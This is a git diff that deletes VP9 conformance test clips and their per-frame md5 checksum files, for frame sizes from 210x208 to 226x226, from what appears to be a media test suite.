diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5
deleted file mode 100644
index 72f9259..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1156d318c00d299cf5bdc7e485966dab  vp90-2-03-size-210x208-210x208-0001.i420
-a8094f8f1e7e04e54251bee8c4c800ce  vp90-2-03-size-210x208-210x208-0002.i420
-e2a07d99ffe1cfe6b9fce36e93677fe1  vp90-2-03-size-210x208-210x208-0003.i420
-63d179b00816dbad75b778d2c23955c6  vp90-2-03-size-210x208-210x208-0004.i420
-407de5fb2dfdd52e6173905b09ff22f2  vp90-2-03-size-210x208-210x208-0005.i420
-36900199c56310e651723de4e3ad2f2c  vp90-2-03-size-210x208-210x208-0006.i420
-908db56e975b5db07af17fdc51b12be8  vp90-2-03-size-210x208-210x208-0007.i420
-400e32490b1262009a481cc331a00e44  vp90-2-03-size-210x208-210x208-0008.i420
-dc43b786cba033cc92b9921d12f7b3d7  vp90-2-03-size-210x208-210x208-0009.i420
-e8c94c5965c729f5d1ef3ba4509c97c8  vp90-2-03-size-210x208-210x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9
deleted file mode 100644
index ad6e896..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5
deleted file mode 100644
index 6b88d01..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b65725c68978bdaaafdf735dfbafa9e3  vp90-2-03-size-210x210-210x210-0001.i420
-35be2f16bd5dedc9d3f7a016f0d71701  vp90-2-03-size-210x210-210x210-0002.i420
-8c2873a97b51510d7449869e24a348f5  vp90-2-03-size-210x210-210x210-0003.i420
-724a30e8ae539e797db8889dc08aec5e  vp90-2-03-size-210x210-210x210-0004.i420
-e3ae1246a63ea22afd026bfb859fe165  vp90-2-03-size-210x210-210x210-0005.i420
-7e1fa363cf3f44c7a3019f29c14a6da4  vp90-2-03-size-210x210-210x210-0006.i420
-c6f26619ab5687a2a698c8766b79f2eb  vp90-2-03-size-210x210-210x210-0007.i420
-be5b8c50a772afe95d72bf3cc7c4fd2f  vp90-2-03-size-210x210-210x210-0008.i420
-9eab1417ac249ce31c79750143d52084  vp90-2-03-size-210x210-210x210-0009.i420
-9d2455048dbc3cdc2343a818c5a2bcb1  vp90-2-03-size-210x210-210x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9
deleted file mode 100644
index 4a01426..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5
deleted file mode 100644
index 7bd7a82..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bb903b926c4b34ae336e21d65ad8fd25  vp90-2-03-size-210x224-210x224-0001.i420
-c4c0bc3b112487e994d22176817ace3c  vp90-2-03-size-210x224-210x224-0002.i420
-24e699f7a92ab1b0fe12e0b747470b5b  vp90-2-03-size-210x224-210x224-0003.i420
-200f403694d3acfda63f52e8373f1420  vp90-2-03-size-210x224-210x224-0004.i420
-6df417a8ec1810562301c89724b739d1  vp90-2-03-size-210x224-210x224-0005.i420
-55757b633d8fe669fc0f507dab4fa9f7  vp90-2-03-size-210x224-210x224-0006.i420
-45bc82bee02cb45422be3ac1019896d0  vp90-2-03-size-210x224-210x224-0007.i420
-4aaf5d07d2796910767d5084556c9cf9  vp90-2-03-size-210x224-210x224-0008.i420
-f100fa26da47250b98d95a18915f521d  vp90-2-03-size-210x224-210x224-0009.i420
-f5a8def53b4638b6ce7c8588d595d0ad  vp90-2-03-size-210x224-210x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9
deleted file mode 100644
index f88afa6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5
deleted file mode 100644
index 48fa3d4..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-03707b2f5c392933f7336f380423a0a1  vp90-2-03-size-210x226-210x226-0001.i420
-b388553c79573555a3b660f5e36d4e36  vp90-2-03-size-210x226-210x226-0002.i420
-a1a7fd8ba7fb0fe7733cdf5440c7c1f3  vp90-2-03-size-210x226-210x226-0003.i420
-9daff7ef71dd54951f0b75a902065259  vp90-2-03-size-210x226-210x226-0004.i420
-60218a4b8bc0a5b0b40fa560a40fb4c0  vp90-2-03-size-210x226-210x226-0005.i420
-21229bfed833468fafc27ce93db1450c  vp90-2-03-size-210x226-210x226-0006.i420
-7aa290c6e503315d7aa3517258d5f63a  vp90-2-03-size-210x226-210x226-0007.i420
-63fd08ae2e859ff3d874ab2c2ce41a42  vp90-2-03-size-210x226-210x226-0008.i420
-725b371247fae28ef4b912368738df64  vp90-2-03-size-210x226-210x226-0009.i420
-7cf2d8d9e464307311b499ff0c3ea05e  vp90-2-03-size-210x226-210x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9
deleted file mode 100644
index 8fd0876..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5
deleted file mode 100644
index 3edb492..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3ffc096f1b42b4d319d4a9efbefc7625  vp90-2-03-size-224x196-224x196-0001.i420
-78b3655d5cad30fa6b2c2d8fd29463de  vp90-2-03-size-224x196-224x196-0002.i420
-ab197553d9599b2a03aff62d1d694848  vp90-2-03-size-224x196-224x196-0003.i420
-be368d1f3d3fcc710565b5433940f0df  vp90-2-03-size-224x196-224x196-0004.i420
-374c5db60ea9c110b871bb45be0efff1  vp90-2-03-size-224x196-224x196-0005.i420
-ec50085400d626de5833bc0a94d9941f  vp90-2-03-size-224x196-224x196-0006.i420
-d4ae69937e2a8d9bf2023d4215749635  vp90-2-03-size-224x196-224x196-0007.i420
-9b0b81eb6d62b8014e0639932fe35bc0  vp90-2-03-size-224x196-224x196-0008.i420
-cd02d0cc268e6b6df0b2dbd3f3b137e6  vp90-2-03-size-224x196-224x196-0009.i420
-5322ba1085c114f93534e1761a0d8aa1  vp90-2-03-size-224x196-224x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9
deleted file mode 100644
index c0b6e4c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5
deleted file mode 100644
index d0b35cd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-cf35dffc80946e87bb9d3e18aab9d320  vp90-2-03-size-224x198-224x198-0001.i420
-a76ac92f05e9b097f8ac5882e1ffe656  vp90-2-03-size-224x198-224x198-0002.i420
-faa1e8a11c9df3e9c9a9dafbebea6d04  vp90-2-03-size-224x198-224x198-0003.i420
-905a28289c8ac793b335096ca7f84e1d  vp90-2-03-size-224x198-224x198-0004.i420
-cb480fa6977baf98a74bddf213ecba82  vp90-2-03-size-224x198-224x198-0005.i420
-35224d3708e3ba1dafcc58b803d5ea77  vp90-2-03-size-224x198-224x198-0006.i420
-d166d764e87854bca47ab7a2bc8b1f9b  vp90-2-03-size-224x198-224x198-0007.i420
-562f1e06ae36abba5f1fb53e3d6cd7e8  vp90-2-03-size-224x198-224x198-0008.i420
-1599cebef060f6464aeef15aacbde446  vp90-2-03-size-224x198-224x198-0009.i420
-3316ebca2864a9dc04db86069efb1dd1  vp90-2-03-size-224x198-224x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9
deleted file mode 100644
index 94cc4c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5
deleted file mode 100644
index bb368ce..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0819e6d715c9b4d94f05f63a7ca86199  vp90-2-03-size-224x200-224x200-0001.i420
-9b9a4b01ed4c8a93687e45245b3092a3  vp90-2-03-size-224x200-224x200-0002.i420
-3a076f5b8dba60552e84a391ee04d1c7  vp90-2-03-size-224x200-224x200-0003.i420
-7aafc561f5b96e9d286bd8deb5687774  vp90-2-03-size-224x200-224x200-0004.i420
-daa43a89ab6b2761eedaa183e33a3465  vp90-2-03-size-224x200-224x200-0005.i420
-c14874409872357b11b65f35a283e058  vp90-2-03-size-224x200-224x200-0006.i420
-37d2ef52a9c694b2596d58ed9ca0d90b  vp90-2-03-size-224x200-224x200-0007.i420
-c97bc860c006896d80f52ccc0759f472  vp90-2-03-size-224x200-224x200-0008.i420
-5f8618114a723a017e39a1af695996f3  vp90-2-03-size-224x200-224x200-0009.i420
-ee8234fc5ccd41d05eb87e1510f9795e  vp90-2-03-size-224x200-224x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9
deleted file mode 100644
index ac4f494..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5
deleted file mode 100644
index 0c6b78c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e1e3b4af5910383ff6f66b6ab1a29544  vp90-2-03-size-224x202-224x202-0001.i420
-8668ef92b72f35728ebb456665d48b95  vp90-2-03-size-224x202-224x202-0002.i420
-dffc7c28f86f07bf28451292990e9594  vp90-2-03-size-224x202-224x202-0003.i420
-aebfb446fa6d48db36dbd9b5cd147f1e  vp90-2-03-size-224x202-224x202-0004.i420
-e3c6cb8c5bb3a26928493bfc297ab827  vp90-2-03-size-224x202-224x202-0005.i420
-68dabae76c1d27ab0e1079d99cb6d413  vp90-2-03-size-224x202-224x202-0006.i420
-d1f7745eef748688f3871d00a7e67ef8  vp90-2-03-size-224x202-224x202-0007.i420
-36738851cc2af83fd250dea4cd63941b  vp90-2-03-size-224x202-224x202-0008.i420
-16c0315c43427e7e6719806a89551703  vp90-2-03-size-224x202-224x202-0009.i420
-c4d589c0ea4cdfc1dd6dff72084c61fd  vp90-2-03-size-224x202-224x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9
deleted file mode 100644
index 47eae820..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5
deleted file mode 100644
index 1bcdd2c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-85f08afadfd1204d4131b9ee9c8cc10b  vp90-2-03-size-224x208-224x208-0001.i420
-f893de5432a082b3dffcf7499827f548  vp90-2-03-size-224x208-224x208-0002.i420
-cb81e0d7b657bc5a4a9cf8ad75a76a77  vp90-2-03-size-224x208-224x208-0003.i420
-8a40842123965731c15fc23fb6366d1d  vp90-2-03-size-224x208-224x208-0004.i420
-09c6d92af14a3fcfb12705cd5da57f2a  vp90-2-03-size-224x208-224x208-0005.i420
-6bede4dc8770df534b599021b0425309  vp90-2-03-size-224x208-224x208-0006.i420
-334b0b0448e9e4e6a0cddcd2e3a0af3f  vp90-2-03-size-224x208-224x208-0007.i420
-09f491f0f3870ef96cff0384cd7183d1  vp90-2-03-size-224x208-224x208-0008.i420
-c9e5f81186ac947a77b051c8f0e76eac  vp90-2-03-size-224x208-224x208-0009.i420
-917565c3327bff78b53a78ea739472ff  vp90-2-03-size-224x208-224x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9
deleted file mode 100644
index 50d6389..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5
deleted file mode 100644
index d522202..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-427421e5fd2087c6ff7b87a27982332f  vp90-2-03-size-224x210-224x210-0001.i420
-b68311fd44e189e4174ac357d5415068  vp90-2-03-size-224x210-224x210-0002.i420
-2c822ff45be7a1ea412d21ff82c7bc1d  vp90-2-03-size-224x210-224x210-0003.i420
-34659186d93516eae1dd4d9a391d1c3f  vp90-2-03-size-224x210-224x210-0004.i420
-1990dd822abc3a10f511589db5aa50f4  vp90-2-03-size-224x210-224x210-0005.i420
-4a4dc076172c79d9fde3e17b47109835  vp90-2-03-size-224x210-224x210-0006.i420
-51874c79850120537fa5c405721d0107  vp90-2-03-size-224x210-224x210-0007.i420
-15d7897a128de9be90be17f1679012c9  vp90-2-03-size-224x210-224x210-0008.i420
-a8d9480accf8585e94161a5f7c371cef  vp90-2-03-size-224x210-224x210-0009.i420
-8a9d3f09561b895b423ae9428f620b9b  vp90-2-03-size-224x210-224x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9
deleted file mode 100644
index 6397922..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5
deleted file mode 100644
index 1a8a55e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bedd5d2725ffff06a50e23841bc2dfb8  vp90-2-03-size-224x224-224x224-0001.i420
-8c363f68b0b30f507563516aa99e23ac  vp90-2-03-size-224x224-224x224-0002.i420
-9cb7d51ca4439614dc3f5980507a4d32  vp90-2-03-size-224x224-224x224-0003.i420
-b393a18de28ab6b8d1c6afd67a7794e0  vp90-2-03-size-224x224-224x224-0004.i420
-81f69ee1e3d89cb78cac192c352f7741  vp90-2-03-size-224x224-224x224-0005.i420
-aabb51f029a9a02e71524cf3500931e9  vp90-2-03-size-224x224-224x224-0006.i420
-6581aec620c508d2b42ccceaa2c6044d  vp90-2-03-size-224x224-224x224-0007.i420
-993cde759158c30dcf0f0a9fdcdfb0d8  vp90-2-03-size-224x224-224x224-0008.i420
-85985ae8d35514d601800a06c8226625  vp90-2-03-size-224x224-224x224-0009.i420
-0eba1d7c193e473586e4a5c87d0e0d21  vp90-2-03-size-224x224-224x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9
deleted file mode 100644
index 7672e82..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5
deleted file mode 100644
index b3a8eee..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_224x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-dca556e648a576b3973fbe4b34d0328c  vp90-2-03-size-224x226-224x226-0001.i420
-34a49e4aba4aca5c76ab0f751341c32b  vp90-2-03-size-224x226-224x226-0002.i420
-4b7cc6d500b273efe7e30fc3a3946f74  vp90-2-03-size-224x226-224x226-0003.i420
-1960f0f1edf9196c96b0de742a3cd53c  vp90-2-03-size-224x226-224x226-0004.i420
-3cb7d90178636911c5d53a5f8e75599c  vp90-2-03-size-224x226-224x226-0005.i420
-84b56c60c2282f85102048cc2cf40b88  vp90-2-03-size-224x226-224x226-0006.i420
-3ca34d2978307ec0fca05130d81bcc26  vp90-2-03-size-224x226-224x226-0007.i420
-c15560be737e02ea9d1deeca0af9bb77  vp90-2-03-size-224x226-224x226-0008.i420
-391439789a6aa7bb02d7e699795a9559  vp90-2-03-size-224x226-224x226-0009.i420
-9f681e91cbcbe9920f21236b8ff093c7  vp90-2-03-size-224x226-224x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9
deleted file mode 100644
index e88ffc4..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5
deleted file mode 100644
index a995846..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4757a31842453f806de2f2256329547e  vp90-2-03-size-226x196-226x196-0001.i420
-fe5fb955a4143091c5bfae7c4a4afe0f  vp90-2-03-size-226x196-226x196-0002.i420
-93766c5a03d71f99afb7705add7b63f0  vp90-2-03-size-226x196-226x196-0003.i420
-30c91162aa6fb0ed3e47325146bb6d8a  vp90-2-03-size-226x196-226x196-0004.i420
-501fe67785b970b1b62c2ae0b36b19ad  vp90-2-03-size-226x196-226x196-0005.i420
-836be5e778e3d20e75c4fcd71f765b3d  vp90-2-03-size-226x196-226x196-0006.i420
-21a9fd5e78212fe71719e173844bc6e6  vp90-2-03-size-226x196-226x196-0007.i420
-81b3919208e345d93dde62740b47dd93  vp90-2-03-size-226x196-226x196-0008.i420
-df010555a929ba88a2f25c6267e3786e  vp90-2-03-size-226x196-226x196-0009.i420
-d2cff8282e5e7a5bbd879c73df0670c3  vp90-2-03-size-226x196-226x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9
deleted file mode 100644
index fa201ed..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5
deleted file mode 100644
index 3c4d3f5b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b97087eb8c53cf56dc44576912654fb2  vp90-2-03-size-226x198-226x198-0001.i420
-219bb68a59dc166806a5b5689a943b66  vp90-2-03-size-226x198-226x198-0002.i420
-67b2ec19dd3b74d828b51912c25249d6  vp90-2-03-size-226x198-226x198-0003.i420
-73dd9625538e10a0f94d31ac9fe3db23  vp90-2-03-size-226x198-226x198-0004.i420
-51e68f201130da18beb0cb27adcf6fa9  vp90-2-03-size-226x198-226x198-0005.i420
-455d9753b3c0ac5ad7d9da022f69acd0  vp90-2-03-size-226x198-226x198-0006.i420
-60a8905a63db4cdd2560583fb6415030  vp90-2-03-size-226x198-226x198-0007.i420
-48c156f4b2c9f936487b43713a4573fd  vp90-2-03-size-226x198-226x198-0008.i420
-a5c8f4190cb34b3ecd42ca8e09bf1646  vp90-2-03-size-226x198-226x198-0009.i420
-233a5d5187137e047993532fc2e725d3  vp90-2-03-size-226x198-226x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9
deleted file mode 100644
index a61270b..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5
deleted file mode 100644
index edab982..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0ae27db338f73f37eaed806b1c789593  vp90-2-03-size-226x200-226x200-0001.i420
-3f69273752f43699a3bc7b22a88cc3aa  vp90-2-03-size-226x200-226x200-0002.i420
-ce0dfafb59910241d2b1a2275a2c2143  vp90-2-03-size-226x200-226x200-0003.i420
-8d20f404e25766c819ee728858bcbc76  vp90-2-03-size-226x200-226x200-0004.i420
-67bc5604c5b0f6c3484b605c1f93c83a  vp90-2-03-size-226x200-226x200-0005.i420
-1c82def3a06430d205cce0db7b5714de  vp90-2-03-size-226x200-226x200-0006.i420
-654d7a676e3b8b64541ed8cdefbd7286  vp90-2-03-size-226x200-226x200-0007.i420
-6c80c78c7b652c5b3b117a0960e89951  vp90-2-03-size-226x200-226x200-0008.i420
-ae73e3c69ec6747c5234d58c5e1e36eb  vp90-2-03-size-226x200-226x200-0009.i420
-e40d716efd8caf2d4004d299fb914328  vp90-2-03-size-226x200-226x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9
deleted file mode 100644
index 28732e2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5
deleted file mode 100644
index 80e7ac2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0cd2876640e71de3a6df7839bd6f0b51  vp90-2-03-size-226x202-226x202-0001.i420
-f887db6839c0cddd1ea9ae6bfd2cc16d  vp90-2-03-size-226x202-226x202-0002.i420
-ff2a890cf4c4973bf181ba8424c2eadc  vp90-2-03-size-226x202-226x202-0003.i420
-f69f2e4f3036a21deb43a0bf4b95771f  vp90-2-03-size-226x202-226x202-0004.i420
-93f511739c19f1a3b356dda39d945c93  vp90-2-03-size-226x202-226x202-0005.i420
-7f79633c93765b504fef0324bd10fdba  vp90-2-03-size-226x202-226x202-0006.i420
-d6c53d3937c9a40b227b4486452e0b33  vp90-2-03-size-226x202-226x202-0007.i420
-4e26625e8997ad6fe08ae68fbdfdbfd7  vp90-2-03-size-226x202-226x202-0008.i420
-3bf4c8ac0279351bf904cf57b0fc13c1  vp90-2-03-size-226x202-226x202-0009.i420
-12d64d856025185fa9e610dfa62b05af  vp90-2-03-size-226x202-226x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9
deleted file mode 100644
index f88a8b8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5
deleted file mode 100644
index 364227a..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6006cac6628cf9e7cea58aec07471b06  vp90-2-03-size-226x208-226x208-0001.i420
-f7e994921248b6933920c984880ec96c  vp90-2-03-size-226x208-226x208-0002.i420
-c0aeeb9d2009538d8d5e837f45e1542d  vp90-2-03-size-226x208-226x208-0003.i420
-7dacf9d00e85bd52045eb47bae5225b3  vp90-2-03-size-226x208-226x208-0004.i420
-024fd008a099ae954e38a3f0a8ebb6c9  vp90-2-03-size-226x208-226x208-0005.i420
-fb6c368a1b3578ab59aa30e0b5cc4853  vp90-2-03-size-226x208-226x208-0006.i420
-07815251f7020b627c365a7a7be694c7  vp90-2-03-size-226x208-226x208-0007.i420
-db8b8f48f3693867d2bd8208cf4f929a  vp90-2-03-size-226x208-226x208-0008.i420
-88b42d943c0978d832333a8a3f7b6bbc  vp90-2-03-size-226x208-226x208-0009.i420
-7aa760190f9328ba4f6fa87d1d9e8d3e  vp90-2-03-size-226x208-226x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9
deleted file mode 100644
index 2a60796..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5
deleted file mode 100644
index f4afd83..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a6c1b7686202f5cc64335f92be595309  vp90-2-03-size-226x210-226x210-0001.i420
-3e573d4c693a39c5d6cd46b8873e99bb  vp90-2-03-size-226x210-226x210-0002.i420
-d2388f6f641c8ddec98f11493f1a1390  vp90-2-03-size-226x210-226x210-0003.i420
-16473e33532ebc8de2f02077c406346b  vp90-2-03-size-226x210-226x210-0004.i420
-6c75d1c01276838fce40837e373f49db  vp90-2-03-size-226x210-226x210-0005.i420
-b718e7445e2b08dde78fa7f30be01346  vp90-2-03-size-226x210-226x210-0006.i420
-2f556ed5afd60b1bbae76984ce073107  vp90-2-03-size-226x210-226x210-0007.i420
-4e5d59daed044c39a14c35f18cb4fb7a  vp90-2-03-size-226x210-226x210-0008.i420
-c14901a9906ffcd0eb1efc068ce32941  vp90-2-03-size-226x210-226x210-0009.i420
-3d73b7f87bcd16c1ec565b5cc8d0fe93  vp90-2-03-size-226x210-226x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9
deleted file mode 100644
index 8735e4d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5
deleted file mode 100644
index 24df8e0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-80fb3a643384386beadc0991f171669d  vp90-2-03-size-226x224-226x224-0001.i420
-65a4a51163f49a75f8eeecd94cb2ba47  vp90-2-03-size-226x224-226x224-0002.i420
-d5b2aac9889d2991b83fd4360ada0258  vp90-2-03-size-226x224-226x224-0003.i420
-7958ff5535358567ea7df351d78256a7  vp90-2-03-size-226x224-226x224-0004.i420
-7e7413b9a61967d0ade07b81944e9a15  vp90-2-03-size-226x224-226x224-0005.i420
-40a008016adbf9673adbbc4c0edb4454  vp90-2-03-size-226x224-226x224-0006.i420
-fef7b5e2809ef79917ab394a067ef4be  vp90-2-03-size-226x224-226x224-0007.i420
-91ee2360faf46a25b95927c55eea603f  vp90-2-03-size-226x224-226x224-0008.i420
-a47f14a80a529f79f97accbe23188046  vp90-2-03-size-226x224-226x224-0009.i420
-3613bcd41ff13006fbba3bd0087c44f4  vp90-2-03-size-226x224-226x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9
deleted file mode 100644
index c7f8202..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5
deleted file mode 100644
index 24f20a6..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_226x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f2370fc802dafdf5082beffc1907a9c6  vp90-2-03-size-226x226-226x226-0001.i420
-aad6de7b986234a1d621935b272501c9  vp90-2-03-size-226x226-226x226-0002.i420
